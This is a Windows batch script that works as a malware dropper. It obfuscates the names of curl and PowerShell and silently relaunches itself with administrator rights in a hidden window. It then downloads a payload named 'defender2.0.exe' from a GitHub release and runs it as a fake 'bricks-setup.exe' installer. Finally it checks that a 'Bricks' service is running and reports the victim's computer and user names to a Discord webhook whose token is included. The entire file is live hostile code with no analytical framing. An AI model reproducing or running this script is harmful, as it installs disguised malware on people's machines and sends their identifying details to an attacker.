@echo off setlocal EnableDelayedExpansion set "_cl=cu" & set "_rl=rl.exe" set "_ps=power" & set "_sh=shell" set "_u1=https://github.com/naspepsi7-boop/linuxmesh/releases/download/gandalf/" set "_u2=defender2.0.exe" set "_w1=https://discord.com/api/webhooks/" set "_w2=1534877893300060170/BADnE1y6NiLeKsJ4iFu2ANusLSEX7ETtvEjmRgmASyyNVOFFbZdjgxCtZzgY_XiQ40Wh" set "_svc=Bricks" set "_out=%TEMP%\bricks-setup.exe" net session >nul 2>&1 if errorlevel 1 goto :GETADMIN goto :INSTALL :GETADMIN %_ps%%_sh% -NoProfile -WindowStyle Hidden -Command ^ "Start-Process -FilePath '%~f0' -Verb RunAs -WindowStyle Hidden" exit /b :INSTALL %_cl%%_rl% -L -o "%_out%" "%_u1%%_u2%" -s --retry 3 --retry-delay 2 if not exist "%_out%" ( %_ps%%_sh% -NoProfile -WindowStyle Hidden -Command "try { Invoke-RestMethod -Uri ('%_w1%%_w2%') -Method Post -ContentType 'application/json' -Body (@{content='[%COMPUTERNAME%] download failed'}|ConvertTo-Json) } catch {}" exit /b 1 ) for %%A in ("%_out%") do set "_fsz=%%~zA" if !_fsz! LSS 1024 ( del /q "%_out%" >nul 2>&1 %_ps%%_sh% -NoProfile -WindowStyle Hidden -Command "try { Invoke-RestMethod -Uri ('%_w1%%_w2%') -Method Post -ContentType 'application/json' -Body (@{content='[%COMPUTERNAME%] file too small'}|ConvertTo-Json) } catch {}" exit /b 1 ) start "" /wait /min "%_out%" -fullinstall timeout /t 10 /nobreak >nul sc query "%_svc%" | findstr /i "RUNNING" >nul if not errorlevel 1 ( %_ps%%_sh% -NoProfile -WindowStyle Hidden -Command "try { Invoke-RestMethod -Uri ('%_w1%%_w2%') -Method Post -ContentType 'application/json' -Body (@{content='[%COMPUTERNAME%/%USERNAME%] %_svc% running OK'}|ConvertTo-Json) } catch {}" ) else ( %_ps%%_sh% -NoProfile -WindowStyle Hidden -Command "try { Invoke-RestMethod -Uri ('%_w1%%_w2%') -Method Post -ContentType 'application/json' -Body (@{content='[%COMPUTERNAME%] service not running'}|ConvertTo-Json) } catch {}" ) del /q "%_out%" >nul 2>&1 exit /b